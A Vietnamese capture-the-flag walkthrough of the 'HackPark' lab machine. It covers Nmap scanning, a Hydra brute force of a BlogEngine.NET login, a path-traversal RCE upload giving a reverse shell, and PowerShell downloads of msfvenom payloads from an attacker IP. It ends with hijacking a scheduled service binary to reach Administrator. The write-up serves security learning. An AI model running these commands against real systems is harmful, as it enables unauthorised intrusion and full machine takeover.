Recon

Chạy Nmap để thăm dò target machine:

sudo nmap -sS --top-ports 1000 -Pn -n -T4 -oN nmap_hack_park.txt 10.10.219.219

Phát hiện được hai port TCP: 80 và 3389. Truy cập vào port 80 (Web server) thì thấy có một trang web.

Using Hydra to Brute-force a Login

Truy cập vào trang đăng nhập, thử đăng nhập với username và password lần lượt là adminadmin.

Bắt POST request bằng trình duyệt thì ta thu được URL của request là:

http://10.10.219.219/Account/login.aspx?ReturnURL=/admin

Và payload của request là:

__VIEWSTATE: "fZlYq16GZwai/cX2JZCwBA866L4Bz3NVlb8tMlpZZ6SJaC0vNo0+6iiZkxpFmd2YfP0FcKOwbFoX1SkbbndcCuRWK4FJt8MPWeV/zSGmTVmjESZo9xv9hK4Mi/8KXM8UutNAHtVaO4q9gN7hJtjudy9uxBtkkxx6gntkOJXyLgOdYQnY"
 
__EVENTVALIDATION: "Vge/h0QPrQleBYKFKKY7EmBKJlVPhJYkbAEczPqJvWWbtLBIpZVC/vRM0sgdpJjWWnwpLG0ijy8hsR6HMYRtOAdlS74eUwdJU3OWn1t309nBJP+kbUeDD8Zmf8Je9xqKhTM5Vny4hOFqoJpgsDeK+PhXC40pckvXVx4Sft0A2rCkjxAH"
 
ctl00$MainContent$LoginUser$UserName: "admin"
 
ctl00$MainContent$LoginUser$Password: "admin"
 
ctl00$MainContent$LoginUser$RememberMe: "on"
 
ctl00$MainContent$LoginUser$LoginButton: "Log+in"

Dùng Hydra để brute force với tên service là http-post-form như sau:

hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.219.219 http-post-form "/Account/login.aspx?ReturnURL=/admin:__VIEWSTATE=RQMzoEFZKup4Q4WXwTV9XinL%2FPieWKHhBKazLDAScrNwgL25RMoLbN%2Fr4aSGbaEeLVuznveOWezV8BJIj8e1TjnsbHyNlnmxSLu3kdpo%2Fqz1EDi9sH%2B%2BN6WkHzqYDT9nAzzGugmNlWBY7GlT0MGjVNEMWc0CnH4qe7plVzmlPie8Q0x2NpLFyKVDq0aby7ahmMIsebgYHtepw9jSiRhPJWAfVEQBp6uluLrakx8wGbsg0t9FwJfvRWGyPHcWJIpzqi4HYQQg3hxKsSZfban95CxTQIeVbe1J%2FP1ij4QfNYpPZHAoQ2kyGwHAf5DsVz44PAzGw%2Bej7uymlAYGu%2FKaHVr0zI0lrji9s4m2Zlahrm2dtj97&__EVENTVALIDATION=JF2PWidOUF0MFzF6Fg5oAKyJbYOhugWJd61Mue4QVZUt0lTdQRfOHKp1c2dQDNRtjrW0u8c1h5jWIUgzd%2BkMydpLpGh0gOlCx8HpdhqElxTVD6m7Bjvkl408Uvqh8blTUVDD7lnvs37IEF0UitlwQpzuGFIsfmeonE3sfpMEUoU%2FQkd1&ctl00%24MainContent%24LoginUser%24UserName=^USER^&ctl00%24MainContent%24LoginUser%24Password=^PASS^&ctl00%24MainContent%24LoginUser%24RememberMe=on&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in:Login failed"

Với giá trị của Username ta để placeholder là ^USER^ và giá trị của Password ta để placeholder là ^PASS^. Khi login thất bại, trang web sẽ hiển thị "Login failed" và ta cần đặt chuỗi này sau dấu : ở cuối payload.

Sau khi brute force thì ta thu được password là:

1qaz2wsx

Đăng nhập vào và truy cập được dashboard của admin.

Compromise the Machine

Kế đến, vào phần “About” trong dashboard thì ta thấy version của phần mềm BlogEngine.NET là 3.3.6.0. Tìm được một exploit ở trên ExploitDB cho phép thực thi code từ xa thông qua lỗ hổng path traversal.

Làm theo hướng dẫn của exploit:

  • Tải về exploit và đổi tên nó thành PostView.ascx.
  • Chỉnh sửa IP và port thành của attacking machine ở trong exploit (cần phải chạy một Netcat server với IP và port tương ứng, giả sử 10.13.30.1798888).
  • Vào phần chỉnh sửa của post “Welcome to HackPark”, vào phần “File Manager” và upload exploit.
  • Truy cập đến đường dẫn /?theme=../../App_Data/files và ta sẽ nhận được reverse shell ở phía Netcat server.

Chạy whoami và ta thấy người dùng hiện tại là iis apppool\blog (chưa phải là Administrator).

Windows Privilege Escalation

Shell của Netcat server không ổn định, ta cần nâng cấp nó thành Meterpreter shell. Trước tiên, tạo payload bằng Metasploit Venom như sau:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.13.30.179 LPORT=8899 -f exe -o hackpark_reverse_tcp.exe

Ở phía shell của Netcat server, di chuyển đến thư mục C:\Windows\Temp. Thư mục này thường cho phép ta tạo file.

Chạy lệnh sau để tải payload về target machine:

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.13.30.179:9999/hackpark_reverse_tcp.exe','hackpark_reverse_tcp.exe')"

Với 9999 là port của Web server ở phía attacking machine.

Cũng có thể sử dụng:

powershell -c "Invoke-WebRequest -Uri 'http://10.13.30.179:9999/hackpark_reverse_tcp.exe' -OutFile 'hackpark_reverse_tcp.exe'"

Trước khi chạy payload thì ta cần setup module Metasploit Multi-Handler ở phía attacking machine:

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.13.30.179
set LPORT 8899

Lúc này, ta có thể chạy payload:

.\hackpark_reverse_tcp.exe

Sau khi chạy thì thu được Meterpreter shell ở phía attacking machine. Tiếp tục dùng lệnh sau ở native shell để tải WinPEAS về target machine:

powershell -c "Invoke-WebRequest -Uri 'http://10.13.30.179:9999/winPEAS.bat' -OutFile 'C:\Windows\Temp\winPEAS.bat'"

Chạy WinPEAS và ta thu được danh sách các dịch vụ đang chạy. Trong đó có WindowsScheduler là đáng ngờ và có thể dùng để khai thác1.

Nếu không muốn chạy WinPEAS mà chỉ cần liệt kê các dịch vụ đang chạy thì dùng lệnh sau:

powershell -c "Get-Service | Where-Object {$_.Status -eq 'Running'}"

Truy cập vào C:\Program Files (x86)\SystemScheduler\Events để xem log. Ta thấy được file log 20198415519.INI_LOG.txt có chứa các thông tin sau:

07/23/23 23:14:01,Event Started Ok, (Administrator)
07/23/23 23:14:33,Process Ended. PID:84,ExitCode:4,Message.exe (Administrator)

Có thể thấy, chương trình Message.exe được chạy dưới quyền Administrator bởi WindowsScheduler. Vì thế, ta cần tạo một payload giả dạng chương trình này.

Chuyển về meterpreter shell, ta đổi tên chương trình này thành một tên khác:

mv Message.exe Message.exe.bkp

Sử dụng lại payload cũ hackpark_reverse_tcp.exe, đổi tên và di chuyển đến thư mục C:\Program Files (x86)\SystemScheduler:

mv C:\Windows\Temp\hackpark_reverse_tcp.exe Message.exe

Chuyển meterpreter session hiện tại sang chế độ chạy nền bằng phím tắt CTRL + Z, chạy module Metasploit Multi-Handler một lần nữa và chờ target machine gửi reverse shell có quyền Administrator. Tên của user khi đó là:

HACKPARK\Administrator

Lần lượt truy cập vào C:\Users\jeff\DesktopC:\Users\Administrator\Desktop để đọc hai flag:

Success

  • 759bd8af507517bcfaede78a21a73e39
  • 7e13d97f05f7ceb9881a3eb3d78d3e72

Privilege Escalation Without Metasploit

Lần này, ta không dùng staged payload của Metasploit và dùng stageless payload:

msfvenom -p windows/shell_reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.13.30.179 LPORT=8899 -f exe -o hackpark_reverse_tcp.exe

Sau khi có được reverse shell ở Netcat server như ở trên thì ta cũng tải về payload vừa tạo:

powershell -c "Invoke-WebRequest -Uri 'http://10.13.30.179:9999/hackpark_reverse_tcp.exe' -OutFile 'C:\Windows\Temp\hackpark_reverse_tcp.exe'"

Và khởi chạy một Netcat server ở port 8899:

nc -vnlp 8899

Tiếp theo, chạy payload và ta nhận được reverse shell ở Netcat server có port là 8899.

Chạy lệnh sau để biết được thời gian cài đặt Windows:

systeminfo|find /i "original" 

Resources

Footnotes

  1. Xem thêm Insecure Permissions on Service Executable